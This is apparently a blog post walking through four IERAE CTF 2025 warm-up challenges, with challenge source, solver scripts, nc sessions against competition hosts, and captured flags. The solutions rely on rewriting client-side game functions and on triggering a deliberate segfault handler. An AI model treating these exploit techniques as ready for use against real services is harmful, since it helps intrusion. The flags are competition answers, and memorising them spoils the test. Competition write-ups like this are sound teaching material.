Day 19 - Hands on in real CTF Event - IERAE CTF 2025
What's up, everyone! For Day 19 of my blogging challenge, I decided to do something a little different and a lot more hands-on. The IERAE CTF 2025 just started, and I dove into some of the warm-up challenges to get my brain... well, warmed up! It was a blast, and I managed to solve a few from different categories. I wanted to share my thought process and solutions. Let's get into it!
1. DiNo.1 (Web)
This was a fun and classic web challenge. It drops you into a game that looks exactly like the Chrome "No Internet" dinosaur game. The goal? Get a high enough score to get the flag.
The Solve:
My first instinct in any browser-based game challenge is to pop open the Developer Console (F12). Sure enough, all the game's core logic was right there. The vulnerability was that I could just redefine the game's functions. First, I disabled the obstacles:
createCactus = () => console.log("🌵 cactus blocked");
Then, I just set my score to the target score and triggered the game over function to claim the prize.
score = clearscore;
gameOver(); // This triggers the win condition!
FLAG: IERAE{In_f4ct,th3_4uth0r's_h1gh_sc0r3_1s_4b0ut_5000}
2. Length Calculator (Pwn)
Next, I jumped into a binary exploitation (pwn) challenge. The goal was to crash the program to get the flag, thanks to this beautiful line of C code: signal(SIGSEGV, win);
. This tells the program to run a special `win` function if it ever has a Segmentation Fault.
// gcc chal.c -o chal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/mman.h>
void win(int sig) {
puts("Well done!");
system("cat ./flag*");
exit(0);
}
int main() {
// If you cause SEGV, then you will get flag
signal(SIGSEGV, win);
setbuf(stdout, NULL);
while (1) {
unsigned int size = 100;
printf("Enter size: ");
scanf("%u%*c", &size);
char *buf = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (!buf) {
puts("Too large!");
exit(1);
}
printf("Input: ");
fgets(buf, size, stdin);
buf[strcspn(buf, "\n")] = '\0';
printf("Your string length: %d\n", strlen(buf));
}
}
The Solve:
The vulnerability is in how the program handles a `size` of 0. If you enter `0`, `mmap` might return a `NULL` pointer. The program then tries to run `strlen()` on this `NULL` pointer, which causes the exact Segmentation Fault we need to trigger the `win` function.
$ nc 34.146.219.32 33334
Enter size: 0
Input: Anything works here
Well done!
IERAE{Th3_5h0rt35t_3v3r_07a972c0}
FLAG: IERAE{Th3_5h0rt35t_3v3r_07a972c0}
3. rev rev rev (Reverse Engineering)
This was a classic reversing challenge. A Python script takes the flag, mangles it, and we have to undo the process.
The Solve:
The script performs four operations: `ord()`, `reverse()`, `XOR`, and bitwise `NOT`. To get the flag, we just have to do the inverse of each operation in the reverse order. I wrote a simple Python solver script.
z = [-246, -131, -204, ...] # Full list from output.txt
# Step 1: undo bitwise NOT (~i)
y = [~i for i in z]
# Step 2: undo XOR with 0xff
x = [i ^ 0xff for i in y]
# Step 3: reverse the list back
x.reverse()
# Step 4: convert back to characters
flag = ''.join([chr(i) for i in x])
print("FLAG:", flag)
FLAG: IERAE{9a058884-2e29-61ab-3272-3eb4a9175a94}
4. Baby MSD (Misc/Pwn)
This one was my favorite! It's a Python script that makes you guess the most significant digit (MSD) after a math operation. You have to pass 100 stages, all within a 5-minute time limit.
The Solve:
This was a two-part problem. First, the time limit. Sending 2000 inputs for each stage one-by-one was too slow. The solution was to create a single giant payload with all 2000 inputs and send it at once. Second, the math. To make sure the digit '1' was always the most common, I had to pick a modulus that wasn't a power of 10. Using `1.5 * 10**30` skews the distribution of first digits heavily in favor of '1', making the guess reliable.
Here are the complete files for the challenge:
chal.py
#!/usr/bin/env python3
from sys import exit
from random import randint
def stage():
digit_counts = [0 for i in range(10)]
for i in range(2000):
secret = randint(10 ** 60, 10 ** 100)
M = int(input("Enter mod: "))
if M < 10 ** 30:
print("Too small!")
exit(1)
msd = str(secret % M)[0]
digit_counts[int(msd)] += 1
choice = int(input("Which number (1~9) appeared the most? : "))
for i in range(10):
if digit_counts[choice] < digit_counts[i]:
print("Failed :(")
exit(1)
print("OK")
def main():
for i in range(100):
print("==== Stage {} ====\n".format(i+1))
stage()
print("You did it!")
with open("flag.txt", "r") as f:
print(f.read())
if __name__ == '__main__':
main()
Dockerfile
FROM python:3.13.2-alpine@sha256:323a717dc4a010fee21e3f1aac738ee10bb485de4e7593ce242b36ee48d6b352 as app
FROM pwn.red/jail
COPY --from=app / /srv
RUN mkdir /srv/app
COPY chal.py /srv/app/run
COPY ./flag.txt /srv/app/
RUN chmod 555 /srv/app/run
RUN chmod 444 /srv/app/flag.txt
ENV JAIL_MEM=20M JAIL_TIME=300
solver.py
#!/usr/bin/env python3
from pwn import *
# --- Configuration ---
HOST = "35.200.10.230"
PORT = 12343
MODULUS = b'15' + b'0' * 29
CHOICE = b'1'
# --- Main Logic ---
def solve():
context.log_level = 'info'
p = remote(HOST, PORT)
p.timeout = 30
try:
for i in range(100):
p.recvuntil(f"==== Stage {i+1} ====\n".encode())
log.info(f"--- Starting Stage {i + 1}/100 ---")
p.recvuntil(b"Enter mod: ")
log.info(f"Stage {i+1}: Preparing and sending payload for 2000 inputs.")
payload = (MODULUS + b'\n') * 2000
p.send(payload)
p.recvuntil(b"Which number (1~9) appeared the most? : ")
p.sendline(CHOICE)
log.info(f"Sent choice: {CHOICE.decode()}")
p.recvuntil(b"OK\n")
log.success(f"Stage {i + 1} passed!")
log.success("All stages completed! Receiving flag...")
p.interactive()
except Exception as e:
log.error(f"An unexpected error occurred: {e}")
p.interactive()
finally:
if p.connected():
p.close()
if __name__ == "__main__":
solve()
The final script combined these two ideas to fly through all 100 stages!
FLAG: IERAE{bab00_gu0ooo_g00_47879e28a162}
Komentar
Posting Komentar